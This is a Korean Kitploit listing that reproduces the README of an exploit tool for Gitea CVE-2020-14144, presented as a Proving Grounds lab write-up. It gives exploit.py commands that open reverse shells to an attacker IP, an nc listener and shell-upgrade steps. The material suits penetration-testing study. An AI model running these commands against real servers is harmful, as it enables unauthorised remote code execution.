Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gitea-Git-Hooks-RCE-CVE-2020-14144- — Gitea 1.1.0 ~ 1.12.5 버전에서는 "May create git hooks" 권한이 있는 인증된 사용자가 post-receive 훅에 임의의 셸 명령을 주입할 수 있습니다. 커밋을 푸시하면 훅이 트리거되어 서버에서 페이로드가 실행됩니다. | Kitploit
도구/GitHubGitHub/mohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubmohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Gitea 1.1.0 ~ 1.12.5 버전에서는 "May create git hooks" 권한이 있는 인증된 사용자가 post-receive 훅에 임의의 셸 명령을 주입할 수 있습니다. 커밋을 푸시하면 훅이 트리거되어 서버에서 페이로드가 실행됩니다.

저장소 보기
16개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gitea Git Hooks RCE (CVE-2020-14144)

OffsecProvingGrounds Practice — Roquefort 머신 Writeup 및 POC

개요

항목세부 정보
머신Roquefort (Proving Grounds Practice)
OSLinux
Gitea 버전1.7.5
CVECVE-2020-14144
공격 벡터Git Hooks를 통한 인증 RCE
사용자 셸chloe

Gitea 1.1.0 → 1.12.5 버전에서는 "May create git hooks" 권한을 가진 인증된 사용자가 post-receive 훅에 임의의 셸 명령을 주입할 수 있습니다. 커밋을 푸시하면 훅이 실행되어 서버에서 페이로드가 실행됩니다.

빠른 시작

자동화 (Python 스크립트)

root@kitploit:~
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

수동

단계별 공격 가이드는 MANUAL.md를 참조하세요.

저장소 구조

root@kitploit:~
.
├── README.md          # This file
├── MANUAL.md          # Manual exploitation guide (Linux + Windows)
└── exploit.py         # Automated exploit script

요구 사항

  • Python 3.6+
  • requests 라이브러리 (pip install requests)
  • 공격자 머신에 git 설치
  • git 훅 권한이 있는 유효한 Gitea 자격 증명

사용법

root@kitploit:~
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)

required arguments:
  -t, --target       Target Gitea URL (e.g. http://192.168.x.x:3000)
  -u, --username     Gitea username
  -p, --password     Gitea password
  -I, --rev-ip       Attacker listener IP
  -P, --rev-port     Attacker listener port

optional arguments:
  --os               Target OS: linux (default) or windows
  --repo             Repository name to create (default: exploit)
  -f, --payload-file Custom shell script payload file
  -v, --verbose      Verbose output

예제

root@kitploit:~
# 1) Start listener
nc -lvnp 4444

# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

셸 업그레이드 (Post-Exploitation)

리버스 셸을 획득한 후:

root@kitploit:~
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

문제 해결

문제해결 방법
fatal: dubious ownership공유 폴더 대신 ~에서 클론하거나 git config --global --add safe.directory '*' 실행
연결이 수신되지 않음공격자 IP 확인, 방화벽 확인, 두 머신이 같은 서브넷에 있는지 확인
훅은 실행되지만 셸이 안 열림먼저 touch /tmp/pwned 페이로드로 테스트 — 파일이 생성되면 리버스 셸이 차단되고 있는 것입니다
훅에 대한 권한 거부사용자에게 훅 권한이 없음 — 관리자 또는 "May create git hooks" 권한 필요
3000 포트 충돌Gitea가 3000을 사용함 — 리스너에 4444 같은 다른 포트 사용

참고 자료

  • CVE-2020-14144 — NVD
  • Gitea 이슈 #13058
  • p0dalirius 원본 POC

고지 사항

이 도구는 승인된 침투 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하세요.

도구 다운로드